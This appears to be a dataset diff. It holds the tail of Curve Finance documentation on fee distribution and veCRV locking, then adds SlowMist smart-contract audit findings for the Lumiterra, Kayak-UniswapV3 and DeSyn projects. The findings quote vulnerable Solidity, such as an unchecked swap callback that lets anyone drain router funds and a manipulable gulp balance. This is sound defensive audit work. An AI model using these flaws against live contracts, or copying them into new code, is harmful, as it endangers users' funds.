Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Admin Fees Stableswap Fees Cryptoswap Fees crvUSD Minting Market Fees Fee Collection & Distribution Architecture The New Cowswap Architecture Collection - Monday Exchanging - Tuesday Forwarding - Wednesday Distribution - Thursday Old Architecture Collection Exchanging (Burning) Distribution Home Locked CRV (veCRV) Fee Collection & Distribution The Curve DAO earns revenue from pools and crvUSD minting markets within the ecosystem. Each week this revenue is collected in different tokens and exchanged for a single token (currently crvUSD) which is then distributed to veCRV holders. Admin Fees The revenue comes in the form of admin fees. There are three different ways these accrue and are collected: Stableswap Fees Stableswap admin fees are 50% of the total fee charged using a Stableswap pool. The fee is taken in the output token of the swap and calculated against the final amount received. For example, if swapping from USDC to DAI, the fee is taken in DAI. Because of this every week each coin in the pool will have accrued fees that can be collected, e.g., for the pool below Admin Fees in USDC and DAI can both be collected. Cryptoswap Fees Cryptoswap admin fees are 50% of the total fee charged from a Cryptoswap pool. As Cryptoswap pools always maintain balance, these fees accrue in the LP token of a pool, which represents an equal share of all assets in the pool. LP shares are collected each week for these pools. crvUSD Minting Market Fees All accrued interest on debt in crvUSD minting markets is collected as crvUSD. Also the AMM for crvUSD minting markets (LLAMMA) has the ability to collect admin fees on swaps, but currently all fees in these pools go to liquidity providers. Fee Collection & Distribution Architecture Currently there are two ways fee collection, and distribution is being achieved. The old way relies on hardcoding exchange routes for each coin collected, and the manual collection of these each week. This is being phased out as a new architecture has been developed which incentivizes 3 rd parties to do the collection of fees and uses Cowswap's conditional orders to flexibly sell any coin/token collected. The distribution of each week's fees happens on Thursday. The fees are evenly split between all veCRV and can be claimed by veCRV holders at any time. See How to Claim veCRV Trading Fees for more information. The New Cowswap Architecture The new Cowswap Architecture is based around a 4 phases occurring on different days of the week. These phases are: collection on Monday, exchanging on Tuesday, forwarding on Wednesday and distribution on Thursday. See below for further details about each phase. Collection - Monday The collection phase occurs on Monday, it makes sure any significant amounts of fees are collected and ready to be sold the following day. Newer pools automatically claim admin fees throughout the week when users withdraw their liquidity from the pools. Otherwise, on Monday anyone can call functions which claim the fees from pools and then create conditional orders on Cowswap to sell the coins/tokens on Tuesday. Doing this work is incentivized by giving the caller a reward. Exchanging - Tuesday The exchanging phase happens on Tuesday. In this phase the conditional sell orders which were created on Monday during the collection phase can be executed by Cowswap searchers. Each coin/token is swapped separately, and by the end of the day all coins and tokens should be swapped into the target coin (currently crvUSD). Forwarding - Wednesday The forwarding phase happens on Wednesday. All the target coin (currently crvUSD) which was exchanged for on Tuesday is forwarded to the Fee Distributor on Ethereum Mainnet through an intermediary contract called a hooker. The hooker contract is a future proofing contract which can implement any arbitrary functions that are approved by the DAO. Calling the function to do this transfer is incentivized by giving the caller a reward. Distribution - Thursday Fees are distributed to veCRV holders weekly, within 24 hours after Thursday 00:00 UTC. These fees are split evenly among all veCRV holders, who can claim their share once each week after distribution. Users can first claim trading fees 8 days after the first Thursday following their lock. For example, if you lock on a Tuesday, you can claim trading fees 10 days later on Thursday. See How to Claim veCRV Trading Fees for more information. Info For more technical information regarding this new process please see the fee collection and distribution pages on the technical documentation: https://docs.curve.fi/fees/overview/ Old Architecture This is outdated and is currently being phased out. Collection Collection happened manually by calling withdraw functions on pools and crvUSD markets. Exchanging (Burning) This happened manually by hardcoding in different exchange routes for each token, e.g., to transfer wstETH to 3CRV (the old target coin) the process was: wstETH to stETH via unwrapping (wstETH Burner) stETH to ETH via swap through stETH/ETH curve pool (SwapStableBurner) ETH to USDT via swap through tricrypto pool (CryptoSwapBurner) USDT to 3CRV via depositing into 3pool (StableDepositBurner) This process worked well, but became cumbersome when an exchange route was needed for every coin in every pool. The exchanges also needed to be called manually. Distribution After the exchanging process is completed distribution happens by forwarding the exchanged coins to the fee distributor on Ethereum Mainnet. Fees are distributed to veCRV holders weekly, within 24 hours after Thursday 00:00 UTC. These fees are split evenly among all veCRV holders, who can claim their share once each week after distribution. Users can first claim trading fees 8 days after the first Thursday following their lock. For example, if you lock on a Tuesday, you can claim trading fees 10 days later on Thursday. See How to Claim veCRV Trading Fees for more information. Info For more technical information regarding this old process please see the fee collection and distribution pages on the technical documentation: https://docs.curve.fi/curve_dao/fee-collection-distribution/overview/ Back to top", "labels": ["Documentation"]}, {"title": "How to Lock CRV", "html_url": "https://resources.curve.fi/vecrv/locking-your-crv/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Locked CRV (veCRV) How to Lock CRV How to lock CRV Warning When a user locks their CRV tokens for voting, they will receive veCRV based on the lock duration and the amount locked. Locking is not reversible and veCRV tokens are non-transferable . If a user decides to vote-lock their CRV tokens, they will only be able to reclaim the CRV tokens after the lock duration has ended . Additionally, a user cannot have multiple locks with different expiry dates . However, a lock can be extended , or additional CRV can be added to it at any time . Users must specify the amount of CRV they wish to lock and their preferred lock duration. The minimum lock period is one week , while the maximum is four years . The amount of veCRV linearly decays over time , reaching 0 when the lock duration ends. To lock CRV tokens, visit either the old UI: https://dao.curve.fi/locker or new UI: https://curve.fi/#/ethereum/locker/create old UI new UI Tip The amount of veCRV received per CRV when locking depends on the duration of the lock. See the formula here . Back to top", "labels": ["Documentation"]}, {"title": "Locked CRV (veCRV)", "html_url": "https://resources.curve.fi/vecrv/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview Overview Table of contents veCRV Benefits Earning Fees Boosting CRV Rewards Governance Locking Information CRV to veCRV formula veCRV decay Extending Locks Adding CRV to Locks External veCRV Incentives External CRV Liquid Lockers How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents veCRV Benefits Earning Fees Boosting CRV Rewards Governance Locking Information CRV to veCRV formula veCRV decay Extending Locks Adding CRV to Locks External veCRV Incentives External CRV Liquid Lockers Home Locked CRV (veCRV) Locked CRV (veCRV) veCRV is an acronym for vote-escrowed CRV . Users can lock their CRV for a minimum of 1 week , maximum of 4 years , in return the user is given veCRV, veCRV amount decays linearly over the chosen lock time . veCRV is not transferrable . The longer you lock the more veCRV you receive, see the locking formula section for a detailed explanation but the simple explanation is: 1 CRV locked for 4 years = 1 veCRV 1 CRV locked for 3 years = 0.75 veCRV 1 CRV locked for 2 years = 0.5 veCRV 1 CRV locked for 1 year = 0.25 veCRV Locking was a concept created to align incentives for governance . Many coin voting systems have a problem where someone can buy tokens off the market to influence a governance vote, then sell the tokens after the vote passed/failed. These users can influence governance votes greatly and only take minimal risk by holding tokens for a few days. Locking stops this happening. Users must lock their tokens for a period of time to receive voting power, and users are rewarded with more voting power if they lock their tokens for a longer period of time. To find out how to lock see the guide here: lock CRV tokens Info The amount of veCRV shown as a statistic in various places is not a true reflection of the amount of locked CRV. As 1 veCRV does not equal 1 CRV due to locking time and decay. Read the locking information section of this page for more information veCRV Benefits Users with veCRV are given the following benefits: Earning Fees After 2 community-led proposals and subsequent governance votes in September 2020 (Link to votes: [1] , [2] ), the admin fees of Curve pools were set to 50%, this means 50% of all trading fees are distributed to veCRV holders , while the remaining 50% goes to the respective liquidity providers of the pools. This distribution was implemented to align the incentives between liquidity providers and governance participants (veCRV holders). Additionally, since the launch of Curve's own stablecoin (crvUSD), 100% of the accrued interest from crvUSD markets also goes to veCRV holders. veCRV holders don't receive any direct value from lending markets, but they do receive indirect value from increasing crvUSD supply. All collected fees are converted to crvUSD and distributed among veCRV holders. See Claiming Trading Fees for how to claim, or Fee Collection & Distribution for how they are collected. Boosting CRV Rewards One of the primary incentives for vote-locking is the boost mechanism . Users who provide liquidity to a swap pool and/or lending market with a reward gauge and have some vote-locked CRV receive boosted CRV rewards . See Boosting your CRV rewards for more information. Governance The veCRV balance represents the voting power of a user in the Curve DAO, which allows them to vote on on-chain proposals . Additionally, a crucial part of Curve governance are gauge weight votes . Curve token emissions are created in a way that allows veCRV holders to choose how future emissions are allocated . Liquidity pools on Curve can be added to the GaugeController via a successfully passed DAO vote, making them eligible to receive CRV token emissions. The gauge weights determine how much CRV each pool receives. Every Thursday at 00:00 UTC , the updated gauge weights are applied. More info on Voting and Gauge Weights Locking Information When a user locks their CRV tokens for voting, they will receive veCRV based on the lock duration and the amount locked. Locking is not reversible and veCRV tokens are non-transferable . If a user decides to vote-lock their CRV tokens, they will only be able to reclaim the CRV tokens after the lock duration has ended . Additionally, a user cannot have multiple locks with different expiry dates . However, a lock can be extended , or additional CRV can be added to it at any time . CRV to veCRV formula When locking CRV to veCRV you are rewarded with an amount of veCRV based on how long you lock, the minimum time is 1 week, the maximum time is 4 years: \\[ \\text{veCRV} = \\frac{\\text{CRV} \\times \\text{lockTime}}{4 \\text{ years}} \\] The maximum duration of a lock is 4 years, users cannot lock for longer periods to keep the 1 CRV: 1 veCRV ratio, they must instead continue extending their lock. Users can withdraw their CRV at any time after their veCRV has decayed to 0 (lock time has expired). veCRV decay The amount of veCRV a user has will decay over time as their unlock date draws closer. The lockTime parameter in the equation above should more aptly be called lockTimeLeft as a user's veCRV is constantly recalculated. There are two ways a user can change their lock. They can add to their lock or they can extend their lock. What happens in both situations and how it affects their veCRV and the decay is shown in the charts below. Extending Locks Extending locks means increasing the time left on a lock. In the above example if Alice locked 100 CRV for 4 years, after 3 years she would only have 25 veCRV left as her lock time is now 1 year. If she extended her lock to be 4 years again after these 3 years, she would again have 100 veCRV: Adding CRV to Locks Adding CRV to locks means the unlock date will remain the same, but more CRV will be locked, meaning more veCRV. If Alice locked 100 CRV for 4 years, but after 2 years added 200 CRV to her lock, she would have 150 veCRV (300 CRV total locked for 2 years). This veCRV would continue to decay to 0 over the next 2 years: External veCRV Incentives External marketplaces (out of Curve's purview) have been created to pay for users to vote for specific swap pools/lending markets and receive rewards in return. Curve does not condone or condemn such marketplaces or behavior. It is within the users' rights to use these marketplaces as they wish. These incentives can be very lucrative and can be multiples of the platform fees earned by veCRV weekly. These incentives work in the following way: A project wants liquidity for their token in a swap pool on Curve The project puts up a incentive for users to vote for the swap pool in the weekly gauge vote. This incentive can be of any amount in any token, e.g., $100k in ETH. If users vote for the pool, they receive a portion of the incentive based on how much veCRV they have, and how much voted for the pool total. e.g., 2 users vote for the pool Alice and Bob. Alice has 100k veCRV, Bob has 900k veCRV. The total which voted for the pool was 1M. The $100k ETH get split between Alice and Bob based on their veCRV, so Alice gets $10k in ETH, Bob gets $90k in ETH. External CRV Liquid Lockers CRV liquid lockers are products outside of the Curve platform that allow users to deposit CRV in exchange for a new token. For example, tokenCRV (a hypothetical token) would be received when locking 1 CRV for 1 veCRV permanently. While these tokens aim to represent locked veCRV positions, they sometimes lack the benefits that come with holding veCRV directly. Since the underlying CRV is permanently locked, users cannot redeem their tokenCRV - they can only sell it on the open market. Because these tokens can always be minted by depositing 1 CRV but can only be exited through market sales, their price naturally settles below 1 CRV as users seek liquidity. These tokens are risky, the only way to guarantee being able to withdraw the same amount of CRV as is deposited is to lock through the Official Curve Locker UI . Back to top", "labels": ["Documentation"]}] \ No newline at end of file diff --git a/results/slowmist_findings.json b/results/slowmist_findings.json index 9848f2c..209d0fc 100644 --- a/results/slowmist_findings.json +++ b/results/slowmist_findings.json @@ -104928,6 +104928,7101 @@ "Severity: Medium" ] }, + { + "title": "Recommendation to Implement reentrancy", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Lumiterra Community Contracts_en-us.pdf", + "body": "contracts/VAMM.sol In _mint , _burn , there is no utilization scenario at the moment, but it is recommended to add reentrant locks.", + "labels": [ + "SlowMist", + "Lumiterra Community Contracts", + "Type: Reentrancy Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Missing zero address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "1.In the KayakSwapRouter contract, the constructor function lacks a zero address check for the _WETH parameter. contracts/swaprouter/KayakSwapRouter.sol#L67-L69 constructor(address _WETH) { weth = IWETH(_WETH); } 2.In the KayakSwapRouter contract, the swap function lacks a zero address check for the params.pool parameter. contracts/swaprouter/KayakSwapRouter.sol#L113-L141 function swap(SwapParams calldata params) public payable nonReentrant returns (uint256 returnAmount) { ``` if (params.flag) { _swapOnStableSwap(params.srcToken, params.dstToken, params.pool, receivedAmount); } else { _swapOnV3ExactIn(params.srcToken, params.dstToken, params.pool, receivedAmount); } ``` } 3.In the KayakSwapQuoter contract, the constructor function lacks a zero address check for the _WETH parameter. contracts/swaprouter/KayakSwapQuoter.sol#L34-L36 constructor(address _WETH) { weth = IWETH(_WETH); } 4.In the KayakSwapQuoter contract, the getReturnStableSwap function and getReturnUniswapV3 function lack a zero address check for the pool parameter. contracts/swaprouter/KayakSwapQuoter.sol#L87-L103, L105-L130 function getReturnStableSwap( address srcToken, address dstToken, address pool, uint256 amount ) public view returns (uint256 returnAmount) { ``` uint256 n_coins = IStableSwap(pool).N_COINS(); ``` } function getReturnUniswapV3( address srcToken, address dstToken, address pool, uint256 amount ) public returns (uint256 returnAmount) { ``` IUniswapV3Pool(pool).swap( ``` ) ``` }", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The identity of msg.sender is not veried", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "In the KayakSwapRouter contract, the uniswapV3SwapCallback function does not verify whether msg.sender is a valid Uniswap V3 Pool. When there are assets in the contract, the attacker can construct malicious parameters and transfer any assets in the contract through the uniTransfer function called in the uniswapV3SwapCallback function. contracts/swaprouter/KayakSwapRouter.sol#L187-L197 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata _data) external { require(amount0Delta > 0 || amount1Delta > 0); // swaps entirely within 0- liquidity regions are not supported SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData)); (address tokenIn, address tokenOut, , ) = data.path.decodeFirstPool(); (, uint256 amountToPay) = amount0Delta > 0 ? (tokenIn < tokenOut, uint256(amount0Delta)) : (tokenOut < tokenIn, uint256(amount1Delta)); IERC20(tokenIn).uniTransfer(msg.sender, amountToPay); }", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Authority Control Vulnerability Audit", + "Severity: Low" + ] + }, + { + "title": "Unchecked return value", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "In the UniERC20 library, the uniApprove function did not check the return value when calling the approve function. contracts/swaprouter/libraries/UniERC20.sol#L68-L72 function uniApprove(IERC20 token, address to, uint256 amount) internal { if (isETH(token)) return; token.approve(to, amount); }", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "In the KayakSwapQuoter contract, amountOutCached is not used. contracts/swaprouter/KayakSwapQuoter.sol#L22 uint256 private amountOutCached;", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Insucient ETH balance causes the function to be unavailable", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "In the KayakSwapQuoter contract, the purpose of the getReturnUniswapV3 function is to return the number of tokens that can be exchanged in the UniswapV3 pool, so there is no need to call the weth.deposit function to exchange WETH. Calling the weth.deposit function will fail because the contract does not have enough ETH balance and subsequent operations cannot be performed, which will make the function unusable. contracts/swaprouter/KayakSwapQuoter.sol function getReturnUniswapV3( address srcToken, address dstToken, address pool, uint256 amount ) public returns (uint256 returnAmount) { if (IERC20(srcToken).isETH()) { weth.deposit{ value: amount }(); } address srcTokenReal = IERC20(srcToken).isETH() ? address(weth) : srcToken; address dstTokenReal = IERC20(dstToken).isETH() ? address(weth) : dstToken; bool zeroForOne = srcTokenReal < dstTokenReal; try IUniswapV3Pool(pool).swap( address(this), // address(0) might cause issues with some tokens zeroForOne, amount.toInt256(), zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1, abi.encodePacked(srcTokenReal, dstTokenReal, pool, false) ) {} catch (bytes memory reason) { return parseRevertReason(reason); } }", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "External dependency changes may cause logic failure", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "In the KayakSwapQuoter contract, the parseRevertReason function can parse the error information returned by UniswapV3Pool. If the Uniswap V3 contract interface or error return format changes, it may cause errors in error message parsing. contracts/swaprouter/KayakSwapQuoter.sol#L133-L142 function parseRevertReason(bytes memory reason) private pure returns (uint256) { if (reason.length != 32) { if (reason.length < 68) revert(\"Unexpected error\"); assembly { reason := add(reason, 0x04) } revert(abi.decode(reason, (string))); } return abi.decode(reason, (uint256)); }", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Returns incorrect swap result", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "In the KayakSwapQuoter contract, the getReturnStableSwap function and getReturnUniswapV3 function do not verify whether the pool contract is the correct address. If the user passes in a malicious contract address, an incorrect exchange result may be returned. contracts/swaprouter/KayakSwapQuoter.sol#L87-L103, L105-L130 function getReturnStableSwap( address srcToken, address dstToken, address pool, uint256 amount ) public view returns (uint256 returnAmount) { address[] memory tokens = new address[](3); uint256 n_coins = IStableSwap(pool).N_COINS(); tokens[0] = IStableSwap(pool).coins(uint256(0)); tokens[1] = IStableSwap(pool).coins(uint256(1)); if (n_coins == 3) { tokens[2] = IStableSwap(pool).coins(uint256(2)); } uint256 i = (srcToken == tokens[0] ? 1 : 0) + (srcToken == tokens[1] ? 2 : 0) + (srcToken == tokens[2] ? 3 : 0); uint256 j = (dstToken == tokens[0] ? 1 : 0) + (dstToken == tokens[1] ? 2 : 0) + (dstToken == tokens[2] ? 3 : 0); return IStableSwap(pool).get_dy(i - 1, j - 1, amount); } function getReturnUniswapV3( address srcToken, address dstToken, address pool, uint256 amount ) public returns (uint256 returnAmount) { if (IERC20(srcToken).isETH()) { weth.deposit{ value: amount }(); } address srcTokenReal = IERC20(srcToken).isETH() ? address(weth) : srcToken; address dstTokenReal = IERC20(dstToken).isETH() ? address(weth) : dstToken; bool zeroForOne = srcTokenReal < dstTokenReal; try IUniswapV3Pool(pool).swap( address(this), // address(0) might cause issues with some tokens zeroForOne, amount.toInt256(), zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1, abi.encodePacked(srcTokenReal, dstTokenReal, pool, false) ) {} catch (bytes memory reason) { return parseRevertReason(reason); } }", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "In the UniswapV3Factory contract, the owner role can transfer owner permissions and set feeAmountTickSpacing mapping. contracts/core/UniswapV3Factory.sol#L54-L58, L61-L72 function setOwner function enableFeeAmount", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Authority Control Vulnerability Audit", + "Severity: Low" + ] + }, + { + "title": "Redundant authorization operations", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Kayak-UniswapV3-Contract.pdf", + "body": "In the KayakSwapRouter contract, the _swapOnV3ExactIn function calls the uniApprove function to authorize the pool contract, but in the uniswapV3SwapCallback function, the uniTransfer function is called to pay the tokenIn token, and the uniTransferFrom function is not used, so the authorized amount will continue to exist and accumulate. If the pool contract is a malicious contract, this authorization operation may cause the assets in the KayakSwapRouter contract to be transferred away. contracts/swaprouter/KayakSwapRouter.sol#L162-L185, L187-L197 function _swapOnV3ExactIn(address srcToken, address dstToken, address pool, uint256 amount) internal { ``` IERC20(srcTokenReal).uniApprove(payable(pool), amount); ``` } function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata _data) external { ``` IERC20(tokenIn).uniTransfer(msg.sender, amountToPay); }", + "labels": [ + "SlowMist", + "Kayak-UniswapV3-Contract", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Potential denial of service risk due to gulp operations", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "In the Actions contract, when the user performs the autoJoinSmartPool operation, the number of shares the user can obtain will be calculated through the _calculateShare function, and minPoolAmountOut will be checked at the end. The _calculateShare function obtains the number of tokens recorded in the pool through bPool's getBalance when calculating the share, but unfortunately any user can update this parameter through bPool's gulp function. Therefore, when an ordinary user performs an autoJoinSmartPool operation, a malicious user directly transfers funds to bPool and calls the gulp function to update the token balance recorded in the pool. At this time, ordinary users will not be able to successfully add liquidity due to the minPoolAmountOut check. If the minPoolAmountOut value passed in by an ordinary user is 0, it may cause an interest rate ination attack. ", + "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Denial of Service Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Incorrect event logging", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "In the CRP contract, the createPool function adds the creator parameter as the real creator of the pool. However, the corresponding events were not modied accordingly. ", + "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect WETH address", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "The WETH address constant is hard-coded in the Actions contract, but this address is an EOA address on the Ethereum mainnet and is not the correct WETH address. ", + "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Others", + "Severity: High" + ] + }, + { + "title": "Incorrect poolTokens check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "In the autoJoinSmartPool function of the Actions contract, it checks the tokens deposited by the user through poolTokens[i] == handleToken , but handleToken has been replaced by the issueToken parameter during the native token checking phase. Therefore, the poolTokens[i] == handleToken check is not accurate. If handleToken is WETH, it will cause an error in the _makeSwap operation. ", + "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Redundant STBT token check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "In the autoJoinSmartPool and _exit functions of the Actions contract, when making a token transfer, it will be checked whether the transferred token is an STBT token. But in fact, the protocol does not allow deposits of STBT tokens, and STBT tokens will also be converted into stablecoins after the ETF expires. Therefore, theoretically, there will be no STBT tokens in the contract, so the STBT token check is redundant. . ", + "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risk of slot conict", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "In this protocol iteration, both SmartPoolManager and Actions contracts have changed their storage structures. If these contracts use an upgradeable model, and upgrading the contract directly on the original basis may lead to contract storage slot conicts. In fact, the Actions contract is an upgradeable contract, so special attention should be paid to such risks.", + "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Variable Coverage Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of event forgery", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "In the CRP contract, the exitPool function adds a user parameter to record the real caller when the user exits through the Actions contract. However, users can also exit by calling the exitPool function of the CRP contract. They can pass in any user parameter to make the LogExit event record an incorrect value. ", + "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Malicious Event Log Audit", + "Severity: Low" + ] + }, + { + "title": "Potential risk of denial of service due to large CRPFactory array", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "In the CRPFactory contract, when the Blabs role performs addCRPFactory and removeCRPFactory operations, it will use a for loop to traverse the entire CRPFactorys array. If the array length is too large, it will lead to DoS risks. ", + "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Denial of Service Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Potential risk of endless loop", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase5_en-us.pdf", + "body": "In the CRPFactory contract, the isCrp function is used to check whether the address passed by the user is a CRP contract. If not, the CRPFactorys array will be circulated and the isCrp function of other CRPFactory will be called to check. However, it should be noted that if the Blabs role adds this contract address to the CRPFactorys array, the user will fall into an innite loop error when querying a CRP address that is not recorded in this contract through the isCrp function. ", 